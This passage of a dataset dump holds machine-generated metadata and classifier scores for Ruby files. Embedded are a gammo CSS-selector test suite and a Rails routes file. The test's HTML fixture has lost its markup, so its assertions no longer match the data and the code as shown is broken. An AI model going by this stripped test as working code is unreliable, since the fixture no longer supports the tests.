"17b075d8cda815f2c5f3e04f4ae9b944aac3f922"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 1, "repo_created_at": "2015-09-25T22:54:02.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "9e8bd4e7dfae69379796439eb97d7b0a5d2ba29e", "size_bytes": 5402, "file_timestamp": 1443221594, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "17b075d8cda815f2c5f3e04f4ae9b944aac3f922", "url": "https://github.com/bennojonas84/redondo/blob/17b075d8cda815f2c5f3e04f4ae9b944aac3f922/app/controllers/admin/companies_controller.rb"}, "gpt4o_tokens": 1314, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.5285809997966867, "noise_severity": 0.04760376422242573, "missing_content_severity": 0.04529174138055408, "factual_density": 3.37890964117301, "pretraining_utility": 0.3688673757404996, "math_density": 0.015096636970943935, "code_density": 3.9478004668528563, "reasoning_density": 0.5395719139390404, "education_level": 2.306914651045267, "creative_writing_quality": -0.40308802123949594}, "score_applicability": {"education_level": 0.9987032910026575, "creative_writing_quality": 0.001069541162043995}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/namusyaka/gammo/blob/b01a50fdef7909004e261b7f59f8b9368ab1b0e8/test/css_selector/selector_test.rb", "id": "ruby-0-8fc00946bd8c02eeaf6e06936c47eb98", "text": "$LOAD_PATH.unshift File.join(__dir__, '..')\nrequire 'test_helper'\n\nclass CSSSelector::PredicateTest < Test::Unit::TestCase\n setup do\n @doc = Gammo.new(<<-EOS).parse\n\n\n\nhello\n\n\n\n
A
\n
    \n
  • foobazworld
  • \n
  • barbazworld
  • \n
  • bazbazworld
  • \n
  • bomb
  • \n
  • namusyaka
  • \n
  • japan
  • \n
  • japan2
  • \n
  • including
  • \n
\n\n\n\n\n\n\n\n
    \n
  • 1
  • \n
  • 2
  • \n
  • 3
  • \n
  • 4
  • \n
  • 5
  • \n
  • 6
  • \n
  • 7
  • \n
  • 8
  • \n
  • 9
  • \n
  • 10
  • \n
  • 11
  • \n
  • 12
  • \n
  • 13
  • \n
  • 14
  • \n
  • 15
  • \n
  • 16
  • \n
  • 17
  • \n
\n
\n
a
\n
b
\n
\n EOS\n end\n\n sub_test_case 'selector groups' do\n test 'simple' do\n ns = @doc.css('title, .ja')\n assert_equal 2, ns.length\n assert_equal ['hello', 'japan'], ns.map(&:inner_text)\n end\n\n test 'duplicates' do\n ns = @doc.css('title, .ja, title')\n assert_equal 2, ns.length\n assert_equal ['hello', 'japan'], ns.map(&:inner_text)\n end\n end\n\n sub_test_case 'universal' do\n test '*' do\n ns = @doc.css('dl > *')\n assert_equal 2, ns.length\n assert_equal ['a', 'b'], ns.map(&:inner_text)\n end\n end\n\n sub_test_case 'hash' do\n test 'single id' do\n ns = @doc.css('#a')\n assert_equal 1, ns.length\n assert_equal 'foobazworld', ns.first.inner_text\n end\n\n test 'multiple ids' do\n ns = @doc.css('#b#c')\n assert_equal 1, ns.length\n assert_equal 'barbazworld', ns.first.inner_text\n end\n end\n\n sub_test_case 'class' do\n test 'a class' do\n ns = @doc.css('ul > li.a')\n assert_equal 2, ns.length\n assert_equal ['foobazworld', 'including'], ns.map(&:inner_text)\n ns = @doc.css('ul > li.a')\n assert_equal 2, ns.length\n assert_equal ['foobazworld', 'including'], ns.map(&:inner_text)\n end\n\n test 'multiple classes' do\n ns = @doc.css('ul > li.x.y.z')\n assert_equal 1, ns.length\n assert_equal 'including', ns.first.inner_text\n ns = @doc.css('ul > .x.y.z')\n assert_equal 1, ns.length\n assert_equal 'including', ns.first.inner_text\n end\n end\n\n sub_test_case 'attrib' do\n test 'equal' do\n ns = @doc.css('ul > li[class=\"a\"]')\n assert_equal 1, ns.length\n assert_equal 'foobazworld', ns.first.inner_text\n\n ns = @doc.css('ul > li[class = \"a\"]')\n assert_equal 1, ns.length\n assert_equal 'foobazworld', ns.first.inner_text\n\n ns = @doc.css('ul > [class = \"a\"]')\n assert_equal 1, ns.length\n assert_equal 'foobazworld', ns.first.inner_text\n\n ns = @doc.css('ul > [class=\"unexisting\"]')\n assert_equal 0, ns.length\n end\n\n test 'prefix_match' do\n ns = @doc.css('ul > li[class^=\"a\"]')\n assert_equal 2, ns.length\n assert_equal ['foobazworld', 'namusyaka'], ns.map(&:inner_text)\n\n ns = @doc.css('ul > li[class ^= \"abc\"]')\n assert_equal 1, ns.length\n assert_equal 'namusyaka', ns.first.inner_text\n\n ns = @doc.css('ul > [class^=\"unexisting\"]')\n assert_equal 0, ns.length\n end\n\n test 'suffix_match' do\n ns = @doc.css('ul > li[class$=\"d\"]')\n assert_equal 2, ns.length\n assert_equal ['bomb', 'namusyaka'], ns.map(&:inner_text)\n\n ns = @doc.css('ul > li[class $= \"bcd\"]')\n assert_equal 1, ns.length\n assert_equal 'namusyaka', ns.first.inner_text\n\n ns = @doc.css('ul > [class$=\"unexisting\"]')\n assert_equal 0, ns.length\n end\n\n test 'substring_match' do\n ns = @doc.css('ul > li[class*=\"c\"]')\n assert_equal 2, ns.length\n assert_equal ['bazbazworld', 'namusyaka'], ns.map(&:inner_text)\n\n ns = @doc.css('ul > li[class *= \"bc\"]')\n assert_equal 1, ns.length\n assert_equal 'namusyaka', ns.first.inner_text\n\n # empty string does not represent anything\n ns = @doc.css('ul > li[class *= \"\"]')\n assert_equal 0, ns.length\n\n ns = @doc.css('ul > [class*=\"unexisting\"]')\n assert_equal 0, ns.length\n end\n\n test 'dash_match' do\n ns = @doc.css('ul > li[class|=\"ja\"]')\n assert_equal 2, ns.length\n assert_equal ['japan', 'japan2'], ns.map(&:inner_text)\n\n ns = @doc.css('ul > li[class |= \"ja\"]')\n assert_equal 2, ns.length\n assert_equal ['japan', 'japan2'], ns.map(&:inner_text)\n\n ns = @doc.css('ul > [class|=\"unexisting\"]')\n assert_equal 0, ns.length\n end\n\n test 'includes' do\n ns = @doc.css('ul > li[class~=\"a\"]')\n assert_equal 2, ns.length\n assert_equal ['foobazworld', 'including'], ns.map(&:inner_text)\n\n ns = @doc.css('ul > li[class ~= \"a\"]')\n assert_equal 2, ns.length\n assert_equal ['foobazworld', 'including'], ns.map(&:inner_text)\n\n ns = @doc.css('ul > [class~=\"unexisting\"]')\n assert_equal 0, ns.length\n end\n end\n\n sub_test_case 'pseudo' do\n test 'enabled' do\n ns = @doc.css('textarea:enabled')\n assert_equal 1, ns.length\n assert_equal 'enabling', ns.first.attributes[:class]\n end\n\n test 'disabled' do\n ns = @doc.css('textarea:disabled')\n assert_equal 2, ns.length\n assert_equal ['disabling', 'disabling'], ns.map { |node| node.attributes[:class] }\n end\n\n test 'checked' do\n ns = @doc.css('input[type=\"radio\"]:checked')\n assert_equal 2, ns.length\n assert_equal ['a', 'd'], ns.map { |node| node.attributes[:value] }\n end\n\n sub_test_case 'nth-child(n)' do\n test '1' do\n ns = @doc.css('.nth-test li:nth-child(1)')\n assert_equal 1, ns.length\n assert_equal [1], ns.map { |node| node.inner_text.to_i }\n end\n\n test '2' do\n ns = @doc.css('.nth-test li:nth-child(2)')\n assert_equal 1, ns.length\n assert_equal [2], ns.map { |node| node.inner_text.to_i }\n end\n\n test 'odd' do\n ns = @doc.css('.nth-test li:nth-child(odd)')\n assert_equal 9, ns.length\n assert_equal [1, 3, 5, 7, 9, 11, 13, 15, 17], ns.map { |node| node.inner_text.to_i }\n end\n\n test 'even' do\n ns = @doc.css('.nth-test li:nth-child(even)')\n assert_equal 8, ns.length\n assert_equal [2, 4, 6, 8, 10, 12, 14, 16], ns.map { |node| node.inner_text.to_i }\n end\n\n test '5n' do\n ns = @doc.css('.nth-test li:nth-child(5n)')\n assert_equal 3, ns.length\n assert_equal [5, 10, 15], ns.map { |node| node.inner_text.to_i }\n end\n\n test 'n+7' do\n ns = @doc.css('.nth-test li:nth-child(n+7)')\n assert_equal 11, ns.length\n assert_equal [7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17], ns.map { |node| node.inner_text.to_i }\n end\n\n test '3n+4' do\n ns = @doc.css('.nth-test li:nth-child(3n+4)')\n assert_equal 5, ns.length\n assert_equal [4, 7, 10, 13, 16], ns.map { |node| node.inner_text.to_i }\n end\n\n test '-n+3' do\n ns = @doc.css('.nth-test li:nth-child(-n+3)')\n assert_equal 3, ns.length\n assert_equal [1, 2, 3], ns.map { |node| node.inner_text.to_i }\n end\n\n test '10n-1' do\n ns = @doc.css('.nth-test li:nth-child(10n-1)')\n assert_equal 1, ns.length\n assert_equal [9], ns.map { |node| node.inner_text.to_i }\n end\n end\n\n sub_test_case 'not()' do\n test 'not(element_name)' do\n ns = @doc.css('dl > :not(dt)')\n assert_equal 1, ns.length\n assert_equal ['b'], ns.map { |node| node.inner_text }\n end\n\n test 'not(*)' do\n ns = @doc.css('head > :not(*)')\n assert_equal 0, ns.length\n end\n\n test 'not(#id)' do\n ns = @doc.css('.container > li:not(#a)')\n assert_equal 7, ns.length\n assert_equal ['barbazworld', 'bazbazworld', 'bomb', 'namusyaka', 'japan', 'japan2', 'including'], ns.map { |node| node.inner_text }\n end\n\n test 'not(.class_name)' do\n ns = @doc.css('.container li:not(.a)')\n assert_equal 6, ns.length\n assert_equal ['barbazworld', 'bazbazworld', 'bomb', 'namusyaka', 'japan', 'japan2'], ns.map { |node| node.inner_text }\n end\n\n test 'not([attrib])' do\n ns = @doc.css('.container > li:not([class~=\"a\"])')\n assert_equal 6, ns.length\n assert_equal ['barbazworld', 'bazbazworld', 'bomb', 'namusyaka', 'japan', 'japan2'], ns.map { |node| node.inner_text }\n end\n\n test 'not(:pseudo)' do\n ns = @doc.css('input:not(:checked)')\n #assert_equal 2, ns.length\n assert_equal ['b', 'c'], ns.map { |node| node.attributes[:value] }\n end\n\n test 'not():not()' do\n ns = @doc.css('dl > :not(dt):not(dd)')\n assert_equal 0, ns.length\n end\n end\n end\nend\n", "text_preview": "$LOAD_PATH.unshift File.join(__dir__, '..') require 'test_helper' class CSSSelector::PredicateTest < Test::Unit::TestCase setup do @doc = Gammo.new(<<-EOS).parse hello highest priority.\n # See how all your routes lay out with \"rake routes\".\n\n # You can have the root of your site routed with \"root\"\n root 'welcome#index'\n\n # Example of regular route:\n # get 'products/:id' => 'catalog#view'\n\n # Example of named route that can be invoked with purchase_url(id: product.id)\n # get 'products/:id/purchase' => 'catalog#purchase', as: :purchase\n\n # Example resource route (maps HTTP verbs to controller actions automatically):\n # resources :products\n\n # Example resource route with options:\n # resources :products do\n # member do\n # get 'short'\n # post 'toggle'\n # end\n #\n # collection do\n # get 'sold'\n # end\n # end\n\n # Example resource route with sub-resources:\n # resources :products do\n # resources :comments, :sales\n # resource :seller\n # end\n\n # Example resource route with more complex sub-resources:\n # resources :products do\n # resources :comments\n # resources :sales do\n # get 'recent', on: :collection\n # end\n # end\n \n # Example resource route with concerns:\n # concern :toggleable do\n # post 'toggle'\n # end\n # resources :posts, concerns: :toggleable\n # resources :photos, concerns: :toggleable\n\n # Example resource route within a namespace:\n # namespace :admin do\n # # Directs /admin/products/* to Admin::ProductsController\n # # (app/controllers/admin/products_controller.rb)\n # resources :products\n # end\nend\n", "text_preview": "Dar::Application.routes.draw do resources :barangay_postharvest_structure_and_facility_projects # get \"reporter_barangay/select\" # get \"reporter_barangay/report\" # get \"reporter/selector\" # get \"reporter/update_provinces\" # get \"reporter/up", "input_sha256": "6643d4b2f6dc5a1d7bafb37c292f04a8c727128cabe4646ba8c2983aee898451", "text_sha256": "972bd8abff4c4770f4cac3a44dc733204d74de3ade9e18158f5f5140ffff5cd8", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16044, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.0460977565079332, "noise_severity": 0.6771649082285206, "missing_content_severity": 0.02114998144236183, "factual_density": 3.3038219523054364, "pretraining_utility": -0.11386695926089935, "math_density": 0.0020018042357243418, "code_density": 3.466883701661986, "reasoning_density": 0.03562847345384538, "education_level": 2.05600606534141, "creative_writing_quality": -0.43405404598600833}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.015518309263307814, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9844697014452362, "secondary": 0.8624960237450305, "tertiary": 0.861747331199198, "structured_records": 0.4089153389019111, "procedural_steps": 0.00212377038763777, "worked_solution": 0.00022426642697000862, "contextual_dialogue": 8.871574283840087e-06, "content_quality": 0.536108586647655, "noise_severity": 0.4356959098095661, "missing_content_severity": 0.9823750154646985, "factual_density": 0.4198516269211968, "pretraining_utility": 0.4975543845044833, "math_density": 0.998331829803563, "code_density": 0.5557364180516549, "reasoning_density": 0.9703096054551289, "education_level": 0.7573731656544765, "creative_writing_quality": 0.9989837752948834, "primary_topic": 0.9532008923775731, "secondary_topic": 0.8598289816123266}, "probability_margin": {"primary": 0.9762128748121117, "secondary": 0.8217183977749916, "tertiary": 0.8134037518836239, "education_level": 0.6857622955267655, "creative_writing_quality": 0.9987988121858716, "primary_topic": 0.9369079681206605, "secondary_topic": 0.8198342741242602}, "raw_probabilities": {"primary": {"Academic Writing": 5.9063555276063174e-05, "Content Listing": 0.0022209953387755032, "Creative Writing": 3.606205321575268e-05, "Customer Support Page": 3.6544723266842814e-05, "Q&A Forum": 2.9780717820257e-05, "Discussion Thread": 2.2171086993760423e-05, "Comment Section": 3.409617242481825e-05, "Missing Content": 7.093594156087107e-05, "Knowledge Article": 0.00015586475192976105, "Legal Notices": 7.224671302175985e-05, "News Article": 1.2272356921245943e-05, "Organizational Announcement": 2.868630632613566e-05, "Nonfiction Writing": 2.8268000256797257e-05, "Organizational About Page": 4.24367513611263e-05, "Personal About Page": 3.1525851302357486e-05, "Personal Blog": 2.1657215486867688e-05, "Product Page": 1.7051451984790507e-05, "Spam / Ads": 5.0865638242279965e-05, "Structured Data": 0.00890392240623958, "Technical Writing": 0.9851167972183513, "Transcript / Interview": 3.269088022945031e-05, "Tutorial / How-To Guide": 0.0008593770619745498, "User Reviews": 1.5539462684171604e-05, "Other / Unknown": 0.002101148344353886}, "secondary": {"Academic Writing": 0.000497205440353414, "Content Listing": 0.01316839046919123, "Creative Writing": 0.00041988735103673297, "Customer Support Page": 0.0005372149339487353, "Q&A Forum": 0.00030057316162783546, "Discussion Thread": 0.00021211780931899661, "Comment Section": 0.0012378340514789842, "Missing Content": 0.0007615202024761054, "Knowledge Article": 0.0012327013252154172, "Legal Notices": 0.0003037379720479959, "News Article": 0.00029006051532681873, "Organizational Announcement": 0.0002894950959368865, "Nonfiction Writing": 0.00028356185222205344, "Organizational About Page": 0.000312498351954979, "Personal About Page": 0.0002856753591011529, "Personal Blog": 0.00023863948480810077, "Product Page": 0.00016751998590420954, "Spam / Ads": 0.0002820041677664644, "Structured Data": 0.04650695831399598, "Technical Writing": 0.022660321224297373, "Transcript / Interview": 0.0003435227291192096, "Tutorial / How-To Guide": 0.04130552750276698, "User Reviews": 0.00013767661111668432, "NONE": 0.8682253560889875}, "tertiary": {"Academic Writing": 0.0003814794335730123, "Content Listing": 0.01756841598349082, "Creative Writing": 0.00033958941452257637, "Customer Support Page": 0.0005865657082796175, "Q&A Forum": 0.00021029787949824756, "Discussion Thread": 0.0001665648974037183, "Comment Section": 0.0020940021501784953, "Missing Content": 0.0007089723303930028, "Knowledge Article": 0.0011720025485176008, "Legal Notices": 0.00026166391144544145, "News Article": 0.0002457115898102372, "Organizational Announcement": 0.00022331165110423128, "Nonfiction Writing": 0.00025705857073358334, "Organizational About Page": 0.0003443178055662927, "Personal About Page": 0.00023870745205267218, "Personal Blog": 0.00019610705838598439, "Product Page": 0.00016375524235450403, "Spam / Ads": 0.0002473789645826395, "Structured Data": 0.030988649050688176, "Technical Writing": 0.02163168619883111, "Transcript / Interview": 0.00025453095625858603, "Tutorial / How-To Guide": 0.05410410718227423, "User Reviews": 0.00010726495415712844, "NONE": 0.8675078590658981}, "structured_records": {"false": 0.5910846610980889, "true": 0.4089153389019111}, "procedural_steps": {"false": 0.9978762296123622, "true": 0.00212377038763777}, "worked_solution": {"false": 0.99977573357303, "true": 0.00022426642697000862}, "contextual_dialogue": {"false": 0.9999911284257161, "true": 8.871574283840087e-06}, "content_quality": {"-2": 0.006678708327098067, "-1": 0.01692848770659053, "0": 0.20139286936296502, "1": 0.4736162083379728, "2": 0.3013837262653736}, "noise_severity": {"0": 0.5116910175495987, "1": 0.32824735242524566, "2": 0.13709051724260318, "3": 0.017147929812141548, "4": 0.005823182970410981}, "missing_content_severity": {"0": 0.9851150568481855, "1": 0.010269760255799754, "2": 0.003303868922381682, "3": 0.000972772552733187, "4": 0.0003385414208997872}, "factual_density": {"0": 0.008283161418919159, "1": 0.02092210158144856, "2": 0.14572561313707783, "3": 0.3088278710003858, "4": 0.5162412528621687}, "pretraining_utility": {"-2": 0.03333083252508843, "-1": 0.29173918387758285, "0": 0.4572222270269944, "1": 0.19088162347380846, "2": 0.02682613309652595}, "math_density": {"0": 0.9988905590045507, "1": 0.0006969004739134027, "2": 0.00012327077208957533, "3": 9.87167801538963e-05, "4": 0.00019055296929252488}, "code_density": {"0": 0.0008226695190941336, "1": 0.002533874853138089, "2": 0.09195396973351058, "3": 0.3383160562352023, "4": 0.566373429659055}, "reasoning_density": {"0": 0.9706069079259506, "1": 0.02425095580753461, "2": 0.004309652886966379, "3": 0.0005717216458153121, "4": 0.00026076173373301784}, "education_level": {"none": 0.00508839988049439, "0": 0.0048295466791614915, "1": 0.06903777027590653, "2": 0.7978109713787305, "3": 0.11204867585196499, "4": 0.011184635933742242}, "creative_writing_quality": {"not_applicable": 0.9991531460790695, "-2": 0.00015428898259955636, "-1": 0.0002154238845160136, "0": 0.0003543338931978195, "1": 8.919284225758076e-05, "2": 3.3614318359319145e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.42095209305222e-05, "Art & Design": 0.00012707097646031168, "Law & Crime": 0.0002345461232335373, "Education & Careers": 0.0003723162777411412, "Entertainment & Media": 8.855481700220193e-05, "Fashion & Beauty": 0.00011875715574655603, "Business, Economics & Finance": 0.0013319661553750663, "Food & Dining": 0.00012544451728200336, "Games & Gaming": 0.0001917110400878556, "Electronics & Hardware": 0.0001800802265182204, "Health, Healthcare & Wellness": 0.00017247914803547945, "History & Geography": 0.000428328708445434, "Home, Pets & Hobbies": 0.00012099657340172026, "Industry & Production": 0.004404226770022789, "Language, Literature & Philosophy": 0.0001246044074120176, "Politics & Government": 0.018092889934698268, "Religion & Spirituality": 0.00017562421479471553, "Science, Mathematics & Engineering": 0.00041376662097182245, "Relationships & Community": 0.0013136020877595998, "Software Usage & Applications": 0.003558626410388866, "Programming & Software Engineering": 0.9550008580553587, "Sports & Fitness": 9.555560052939382e-05, "Vehicles & Transportation": 9.62696531714703e-05, "Travel & Tourism": 0.00015300871094768825, "Other / Uncovered Subject": 0.010339648978757408, "Unknown / Insufficient Content": 0.0026748573149273772}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0005190464073866412, "Art & Design": 0.0005768015572188606, "Law & Crime": 0.0013818301502363606, "Education & Careers": 0.0017334396850538474, "Entertainment & Media": 0.0005000411150853354, "Fashion & Beauty": 0.000336261246321082, "Business, Economics & Finance": 0.006719128514895766, "Food & Dining": 0.00036310656273362253, "Games & Gaming": 0.0004564999903011027, "Electronics & Hardware": 0.0004561437934688815, "Health, Healthcare & Wellness": 0.0007347346076445685, "History & Geography": 0.0012969900295040195, "Home, Pets & Hobbies": 0.00035927090433259863, "Industry & Production": 0.010772460407684543, "Language, Literature & Philosophy": 0.0003068647718164147, "Politics & Government": 0.04538590050297684, "Religion & Spirituality": 0.0005587407650272314, "Science, Mathematics & Engineering": 0.0007933567432712838, "Relationships & Community": 0.0016689287801229008, "Software Usage & Applications": 0.009727513818160304, "Programming & Software Engineering": 0.032052081919248784, "Sports & Fitness": 0.0002103887854909883, "Vehicles & Transportation": 0.00023316349548051847, "Travel & Tourism": 0.000430108473047199, "Other / Uncovered Subject": 0.017207022346253154, "NONE": 0.8652201746272371}}, "probabilities": {"primary": {"Academic Writing": 5.9063555276063174e-05, "Content Listing": 0.0022209953387755032, "Creative Writing": 3.606205321575268e-05, "Customer Support Page": 3.6544723266842814e-05, "Q&A Forum": 2.9780717820257e-05, "Discussion Thread": 2.2171086993760423e-05, "Comment Section": 3.409617242481825e-05, "Missing Content": 7.093594156087107e-05, "Knowledge Article": 0.00015586475192976105, "Legal Notices": 7.224671302175985e-05, "News Article": 1.2272356921245943e-05, "Organizational Announcement": 2.868630632613566e-05, "Nonfiction Writing": 2.8268000256797257e-05, "Organizational About Page": 4.24367513611263e-05, "Personal About Page": 3.1525851302357486e-05, "Personal Blog": 2.1657215486867688e-05, "Product Page": 1.7051451984790507e-05, "Spam / Ads": 5.0865638242279965e-05, "Structured Data": 0.00890392240623958, "Technical Writing": 0.9851167972183513, "Transcript / Interview": 3.269088022945031e-05, "Tutorial / How-To Guide": 0.0008593770619745498, "User Reviews": 1.5539462684171604e-05, "Other / Unknown": 0.002101148344353886}, "secondary": {"Academic Writing": 0.0004972054403534141, "Content Listing": 0.013168390469191231, "Creative Writing": 0.000419887351036733, "Customer Support Page": 0.0005372149339487355, "Q&A Forum": 0.0003005731616278355, "Discussion Thread": 0.00021211780931899664, "Comment Section": 0.0012378340514789844, "Missing Content": 0.0007615202024761056, "Knowledge Article": 0.0012327013252154174, "Legal Notices": 0.00030373797204799596, "News Article": 0.0002900605153268188, "Organizational Announcement": 0.00028949509593688655, "Nonfiction Writing": 0.0002835618522220535, "Organizational About Page": 0.0003124983519549791, "Personal About Page": 0.00028567535910115294, "Personal Blog": 0.0002386394848081008, "Product Page": 0.00016751998590420957, "Spam / Ads": 0.00028200416776646444, "Structured Data": 0.04650695831399599, "Technical Writing": 0.022660321224297376, "Transcript / Interview": 0.00034352272911920964, "Tutorial / How-To Guide": 0.04130552750276699, "User Reviews": 0.00013767661111668434, "NONE": 0.8682253560889877}, "tertiary": {"Academic Writing": 0.0003814794335730123, "Content Listing": 0.01756841598349082, "Creative Writing": 0.00033958941452257637, "Customer Support Page": 0.0005865657082796175, "Q&A Forum": 0.00021029787949824756, "Discussion Thread": 0.0001665648974037183, "Comment Section": 0.0020940021501784953, "Missing Content": 0.0007089723303930028, "Knowledge Article": 0.0011720025485176008, "Legal Notices": 0.00026166391144544145, "News Article": 0.0002457115898102372, "Organizational Announcement": 0.00022331165110423128, "Nonfiction Writing": 0.00025705857073358334, "Organizational About Page": 0.0003443178055662927, "Personal About Page": 0.00023870745205267218, "Personal Blog": 0.00019610705838598439, "Product Page": 0.00016375524235450403, "Spam / Ads": 0.0002473789645826395, "Structured Data": 0.030988649050688176, "Technical Writing": 0.02163168619883111, "Transcript / Interview": 0.00025453095625858603, "Tutorial / How-To Guide": 0.05410410718227423, "User Reviews": 0.00010726495415712844, "NONE": 0.8675078590658981}, "structured_records": {"false": 0.5910846610980889, "true": 0.4089153389019111}, "procedural_steps": {"false": 0.9978762296123622, "true": 0.00212377038763777}, "worked_solution": {"false": 0.99977573357303, "true": 0.00022426642697000862}, "contextual_dialogue": {"false": 0.9999911284257161, "true": 8.871574283840087e-06}, "content_quality": {"-2": 0.006678708327098067, "-1": 0.01692848770659053, "0": 0.20139286936296502, "1": 0.4736162083379728, "2": 0.3013837262653736}, "noise_severity": {"0": 0.5116910175495987, "1": 0.32824735242524566, "2": 0.13709051724260318, "3": 0.017147929812141548, "4": 0.005823182970410981}, "missing_content_severity": {"0": 0.9851150568481856, "1": 0.010269760255799756, "2": 0.0033038689223816825, "3": 0.0009727725527331871, "4": 0.00033854142089978723}, "factual_density": {"0": 0.008283161418919159, "1": 0.02092210158144856, "2": 0.14572561313707783, "3": 0.3088278710003858, "4": 0.5162412528621687}, "pretraining_utility": {"-2": 0.03333083252508843, "-1": 0.29173918387758285, "0": 0.4572222270269944, "1": 0.19088162347380846, "2": 0.02682613309652595}, "math_density": {"0": 0.9988905590045507, "1": 0.0006969004739134027, "2": 0.00012327077208957533, "3": 9.87167801538963e-05, "4": 0.00019055296929252488}, "code_density": {"0": 0.0008226695190941336, "1": 0.002533874853138089, "2": 0.09195396973351058, "3": 0.3383160562352023, "4": 0.566373429659055}, "reasoning_density": {"0": 0.9706069079259507, "1": 0.024250955807534613, "2": 0.0043096528869663794, "3": 0.0005717216458153122, "4": 0.0002607617337330179}, "education_level": {"none": 0.00508839988049439, "0": 0.0048295466791614915, "1": 0.06903777027590653, "2": 0.7978109713787305, "3": 0.11204867585196499, "4": 0.011184635933742242}, "creative_writing_quality": {"not_applicable": 0.9991531460790697, "-2": 0.0001542889825995564, "-1": 0.00021542388451601364, "0": 0.00035433389319781955, "1": 8.919284225758077e-05, "2": 3.361431835931915e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.420952093052218e-05, "Art & Design": 0.00012707097646031166, "Law & Crime": 0.00023454612323353725, "Education & Careers": 0.0003723162777411411, "Entertainment & Media": 8.855481700220191e-05, "Fashion & Beauty": 0.00011875715574655601, "Business, Economics & Finance": 0.001331966155375066, "Food & Dining": 0.00012544451728200334, "Games & Gaming": 0.00019171104008785554, "Electronics & Hardware": 0.00018008022651822038, "Health, Healthcare & Wellness": 0.00017247914803547942, "History & Geography": 0.0004283287084454339, "Home, Pets & Hobbies": 0.00012099657340172023, "Industry & Production": 0.004404226770022788, "Language, Literature & Philosophy": 0.00012460440741201756, "Politics & Government": 0.018092889934698264, "Religion & Spirituality": 0.0001756242147947155, "Science, Mathematics & Engineering": 0.00041376662097182234, "Relationships & Community": 0.0013136020877595996, "Software Usage & Applications": 0.0035586264103888653, "Programming & Software Engineering": 0.9550008580553585, "Sports & Fitness": 9.55556005293938e-05, "Vehicles & Transportation": 9.626965317147028e-05, "Travel & Tourism": 0.00015300871094768822, "Other / Uncovered Subject": 0.010339648978757407, "Unknown / Insufficient Content": 0.002674857314927377}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0005190464073866412, "Art & Design": 0.0005768015572188606, "Law & Crime": 0.0013818301502363606, "Education & Careers": 0.0017334396850538474, "Entertainment & Media": 0.0005000411150853354, "Fashion & Beauty": 0.000336261246321082, "Business, Economics & Finance": 0.006719128514895766, "Food & Dining": 0.00036310656273362253, "Games & Gaming": 0.0004564999903011027, "Electronics & Hardware": 0.0004561437934688815, "Health, Healthcare & Wellness": 0.0007347346076445685, "History & Geography": 0.0012969900295040195, "Home, Pets & Hobbies": 0.00035927090433259863, "Industry & Production": 0.010772460407684543, "Language, Literature & Philosophy": 0.0003068647718164147, "Politics & Government": 0.04538590050297684, "Religion & Spirituality": 0.0005587407650272314, "Science, Mathematics & Engineering": 0.0007933567432712838, "Relationships & Community": 0.0016689287801229008, "Software Usage & Applications": 0.009727513818160304, "Programming & Software Engineering": 0.032052081919248784, "Sports & Fitness": 0.0002103887854909883, "Vehicles & Transportation": 0.00023316349548051847, "Travel & Tourism": 0.000430108473047199, "Other / Uncovered Subject": 0.017207022346253154, "NONE": 0.8652201746272371}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, 